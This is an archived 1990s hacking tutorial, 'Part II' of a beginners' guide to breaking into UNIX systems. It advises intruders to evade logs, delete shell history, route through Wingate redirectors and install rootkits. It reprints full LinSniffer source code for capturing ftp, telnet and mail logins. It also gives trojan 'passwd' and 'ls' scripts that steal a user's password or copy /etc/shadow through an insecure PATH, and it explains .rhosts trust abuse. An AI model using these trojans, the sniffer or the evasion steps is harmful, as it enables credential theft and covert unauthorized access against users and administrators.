Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Unix :: General :: unix_i~1.txt

An Introduction to Hacking Around with the UNIX Operating System, part 2 of 2, by Netdiablo

A Beginners Introduction To Hacking Around On The UNIX Operating System
                 Part II, By Netdiablo <>

Assuming you've read the first part of this text about hacking around on the
UNIX operating system, you know about some of the simpler aspects of UNIX
use and cracking. You should know about how to idenfify a UNIX, what sort of
default accounts there are on a UNIX, how to get and crack the passwd file,
and some of the information behind buffer overflow exploits. However, to
retain brevity and keep it simple, i left some things out. This second part
will explain some of the more interesting techniques of using a UNIX once
you get on it, using a UNIX to gain further access to other machines on the
network, and extending your stay on a target UNIX.

First of all, more on extending your stay on a target system. This is all
about evading detection. As i had said in the first file, try at all costs
to stay out of the logs. Here is a list of some things you should be
be careful about:

                * Attempts of "su"
                * Connecting to any port from a location you don't want known
                # Bad login attempts, especially with "root"

Most of these are common sense. Don't try and brute force logins. You should
stay away from "su" at all times. It logs who you su'ed to and which user did
the su'ing. If you need to login as a different user, just re-login to the

This brings another topic into view, the 'redirector'. A 'redirector' is a
system that you go through to attack a target so your real location is
hidden. Of course, you could use another system you have cracked for this
purpose, or you could use other things, such as routers, or things like
'Wingate' or 'WebRamp' systems. Some of these, especially the 'WebRamp'
and 'Wingates' are run by normal users without any administration
experience. For the WebRamp, i believe you will need a username and password,
although defaults do exist, and normal users will probably not change them.
I'll leave it up to you to find more information on those, however.
The Wingate, however, is your best ticket. It demands no authentication.
You will know you have hit a Wingate from the "WinGate>" prompt. At this
prompt, simply enter the name of the host to connect to, and optionally a
port to connect to, and you will be connected right through the Wingate!
Now, the target host will only be able to track you back to your redirector,
and you will be safer than if you had connected directly to the target
from your machine.

But, what if the system administrator or a nosy user is logged in and finds
you doing something potentially unusual by using standard system status
commands like 'ls' and 'ps'? There are ways to get around this also. There
are sets of programs out called 'rootkits'. These programs are modified
versions of programs like 'ps', 'login', and 'ls' that have been modified.
For instance, a rootkit 'login' program might contain a backdoor allowing
a user to login as root by typing a certain word at the login prompt. A
rootkit 'ps' program might hide certain processes run by a certain user. A
rootkit 'ls' program might not show some files in certain directories. Using
a rootkit will allow you to extend your stay on the system for a long time,
especially if the system administrator does not suspect anything at all. He
will just be left in the dark by the rootkit programs and will never know
otherwise! Rootkits can be aquired at many places, although, as before, i
recommend Of course, you have to have cracked root first
to be able to install a rootkit, so if you havent done that yet, some of the
tips below will still be helpful to you.

Another common sense tip is, obviously, hide your exploits. If you must leave
exploits laying around on the target system, or other things like SUID shells,
hide them in a hidden directory (this can be done by prefixing the file name
with a period). Then, you will have at least a first line of security to your
exploits being found. Also, dont name your exploits something that is likely
to arouse suspicion. An program that an admin found called 'rootcracker'
would be a lot more likely to arouse suspicion than a program like 'mail'.

Also, keep track of command history files. These can be dangerous evidence of
your activities that are just laying around. These are found in your home
directory, and have names like ".history" and ".bash_history". Delete them!
You might also want to look into running a shell like the Korn shell or the
Z shell that does not leave command history files laying around.

So, now you have at least some sort of access on this UNIX, and have hidden
yourself fairly well. If you're still somewhat new, you might be wondering
what to do now. Now, you might want to check out some interesting things 
that will help you to use your newly conquered UNIX to your advantage.

First of all, ".rhosts" files. In a user's home directory, there will be a
file called ".rhosts". This file contains a list of hosts that are considered
"trusted". This is shown in the example below:

Say there is a user "gary" and his .rhosts file contains the following hosts:

So, let's say that the the account mentioned above ("gary") was on a system
called "". So, since those three hosts were in the 
".rhosts" file, a user named "gary" on "", 
"", and "" could log into ""
without having to supply a password using the "rlogin" command! You can
do this simply by typing "rlogin" when you are using the
'trusted' account. For instance, say "gary" on "" wanted to
login to "", where the ".rhosts" file was that contained
the three hosts above. All he would have to do is type
"rlogin" and he would be in without having to type a

Obviously, this concept of 'trust' is simply a vulnerability. Remember X-Files.
'Trust no one' (heh). Hosts that are using 'rlogin' along with '.rhosts' files
should be simple cracks.

Another way to use a UNIX to your advantage in getting access on other machines
is the packet sniffer. A packet sniffer runs on a network interface, such as
an ethernet or PPP link, and captures the contents of all the data packets that
travel across that interface. What this translates to is that if you run a
packet sniffer on a link that people are often using, you will capture a lot
of logins and passwords!

Good examples of packet sniffers are the classic 'tcpdump' and others, such
as 'linsniff' and 'sniffit'. The code of 'linsniff is given below:

LinSniffer 0.03.9 [BETA; so if it crashes your network... ]
Originally by: Mike Edulla (

Modified by XinU for the net poSSe.

For legal/educational use only.

We are not responsible for your stupidity.

Last Modified: March 15, 1997

To compile: gcc -o linsniff linsniff.c
To Run: touch /root/private/.sniff.log

./linsniff &
tail -f /root/private/.sniff.log


#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>

int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);

struct etherpacket
   struct ethhdr eth;
   struct iphdr  ip;
   struct tcphdr tcp;
   char buff[8193];

   unsigned long      saddr;
   unsigned long      daddr;
   unsigned short     sport;
   unsigned short     dport;
   int                bytes_read;
   char               active;
   time_t             start_time;
} victim;

struct iphdr  *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 1024
#define TIMEOUT 31
#define TCPLOG "/root/private/.sniff.log"

int openintf(char *d)
   int fd;
   struct ifreq ifr;
   int s;
   fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
   if(fd < 0)
      perror("cant get SOCK_PACKET socket");
   strcpy(ifr.ifr_name, d);
   s=ioctl(fd, SIOCGIFFLAGS, &ifr);
   if(s < 0)
      perror("cant get flags");
   ifr.ifr_flags |= IFF_PROMISC;
   s=ioctl(fd, SIOCSIFFLAGS, &ifr);
   if(s < 0) perror("Yo Mama! She Aint No Slut! (cant set promiscuous
   return fd;

int read_tcp(int s)
   int x;
      x=read(s, (struct etherpacket *)&ep, sizeof(ep));
      if(x > 1)
         if(filter()==0) continue;
         if(x < 1) continue;
         return x;

int filter(void)
   int p;
   if(ip->protocol != 6) return 0;
   if( != 0)
      if(victim.bytes_read > CAPTLEN)
         fprintf(fp, "\n-----+ [CAPLEN Exceeded]+\n");
         return 0;
   if( != 0)
      if(time(NULL) > (victim.start_time + TIMEOUT))
         fprintf(fp, "\n-----+ [Timed Out]+\n");
         return 0;

   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
   if(ntohs(tcp->dest)==110) p=1; /* pop3 */
   if(ntohs(tcp->dest)==109) p=1; /* pop2 */
   if(ntohs(tcp->dest)==143) p=1; /* imap2 */
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
   if( == 0)
      if(p == 1)
         if(tcp->syn == 1)
   if(tcp->dest != victim.dport) return 0;
   if(tcp->source != return 0;
   if(ip->saddr != victim.saddr) return 0;
   if(ip->daddr != victim.daddr) return 0;
   if(tcp->rst == 1)
      fprintf(fp, "\n----- [RST]\n");
      return 0;
   if(tcp->fin == 1)
      fprintf(fp, "\n----- [FIN]\n");
      return 0;
   return 1;

int print_header(void)
   fprintf(fp, "\n");
   fprintf(fp, "%s => ", hostlookup(ip->saddr));
   fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));

int print_data(int datalen, char *data)
   int i=0;
   int t=0;

   for(i=0;i != datalen;i++)
      if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
      if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
      if(t > 75) {t=0;fprintf(fp, "\n");}

main(int argc, char **argv)
   ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
   tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
   signal(SIGHUP, SIG_IGN);
   signal(SIGINT, cleanup);
   signal(SIGTERM, cleanup);
   signal(SIGKILL, cleanup);
   signal(SIGQUIT, cleanup);
   if(argc == 2) fp=stdout;
   else fp=fopen(TCPLOG, "at");
   if(fp == NULL) { fprintf(stderr, "Sorry... cant open log file. gotta
create it first eg: touch %s \n",TCPLOG);exit(0);}
      if( != 0)
print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

char *hostlookup(unsigned long int in)
   static char blah[1024];
   struct in_addr i;
   struct hostent *he;

   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
   if(he == NULL) strcpy(blah, inet_ntoa(i));
   else strcpy(blah, he->h_name);
   return blah;

void clear_victim(void)

void cleanup(int sig)
   fprintf(fp, "Awww.... that hurts!....\n");

The problem with packet sniffers is that they will load down the system a bit,
and will create somewhat large log files. As a result, it is safest to install
a rootkit first that will at least hide your sniffer from the 'ps' program,
and of course, hide the sniffer application and the log files it creates in a
hidden directory.

Another potential vulnerability is a user's PATH. Lets look at an example PATH
for a lesson on this.

ndiablo:anubis-gw /% echo $PATH
ndiablo:anubis-gw /% 

In this case, no vulnerabilities here. But, say if there was another user, with
a bit different PATH.

unwitting:anubis-gw /home/unwitting% echo $PATH
unwitting:anubis-gw /home/unwitting%

In this case, the first directory in the user's search path is the users home
directory. This might not be a problem if the user has access privelages on
his directory restricted, although, it might quickly become a problem if not.

ndiablo:anubis-gw /home% ls -l 
total 1
drwxrwxrwx   2 unwitting        unwitting       1024    Jul 12 22:12 unwitting
ndiablo:anubis-gw /home%

Look here! The unwitting user has left his directory wide open. The combination
of the wide open directory, and the fact that the first directory in the users
search path is his home directory creates a vulnerability!

How to exploit this? Many ways. First of all, if you're only dealing with a
regular user, you might want to try stealing his password with a fake 
'passwd' script. First, create a script in the users home directory called
'passwd'. Then, put the following into the script

echo "Changing passwd for" $USERNAME
stty -echo
echo -n "Enter old password: "
read password 
echo $password > /your/home/directory/
echo "Incorrect password for" $USERNAME"."
echo "The password for" $USERNAME "is unchanged."
rm /targets/home/directory/passwd

What will this do? Quite simply, itll pretend to be the passwd program. The 
user will run this, type in his password, and it will say it was incorrect.
This is not such a big deal, he will just assume he mistyped it, and try
again. The thing is that this script will delete itself, so next time the 
user will get the real program.

Here's a bit more indepth look at that PATH thing. Say there is a user with
a PATH shown below:


So, when this user types his command at the command line, it follows a little
flow chart.

                1. User types command
                2. Is command in /usr/bin? If yes, then execute command,
                else continue looking.
                3. Is command in /bin? If yes, then execute command, else
                continue looking.
                4. Is command in /usr/local/bin? If yes, then execute
                command, else continue looking.
                5. Is command in /home/user? If yes, then execute command,
                else echo "Command not found"

So, you can see, it checks all the directories in the search path, in order.
In the script above, since it looked for the command in the users home
directory first and found the fake passwd command, before it got to looking
in /usr/bin where the real passwd command is.

You might be wondering about the use of this especially if the user is just
going to change his password again. Perhaps you wont get the exact password,
but you might be able to find out what kind of password the user uses, or
perhaps you could pick out a pattern (e.g. "word1" then "word2" and on).

If you happened to find root in this sort of situation, however, you could
make a script and call it something like 'ls' and use it for all sorts of
purposes, like stealing passwd files, adding users, deleting files, and 
other general mayhem! Here's an example, a file called 'ls' in the root
user's home directory.

cp /etc/passwd /your/home/directory/.passwd
cp /etc/shadow /your/home/directory/.shadow
chown youruser.yourgroup /your/home/directory/.passwd
chown youruser.yourgroup /your/home/directory/.shadow
chmod 777 /your/home/directory/.passwd
chmod 777 /your/home/directory/.shadow
rm /root/ls

Here, the script would have stolen the passwd and shadow files, and then 
executed the 'ls' command. Finally, it cleans up after itself so there is
no evidence left behind.

So, now you have had a few more exploits explained to you - more on evading
detection, using redirectors to hide your origins, and exploiting systems
using the .rhosts files and PATH vulnerabilities, as well as using sniffers
to gain more usernames and passwords.

Look for Volume III coming soon containing even more information explained
in the in-depth tradition of the first files. Any questions or comments 
can be addressed to or

$ EOF -Netdiablo <> <> $

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH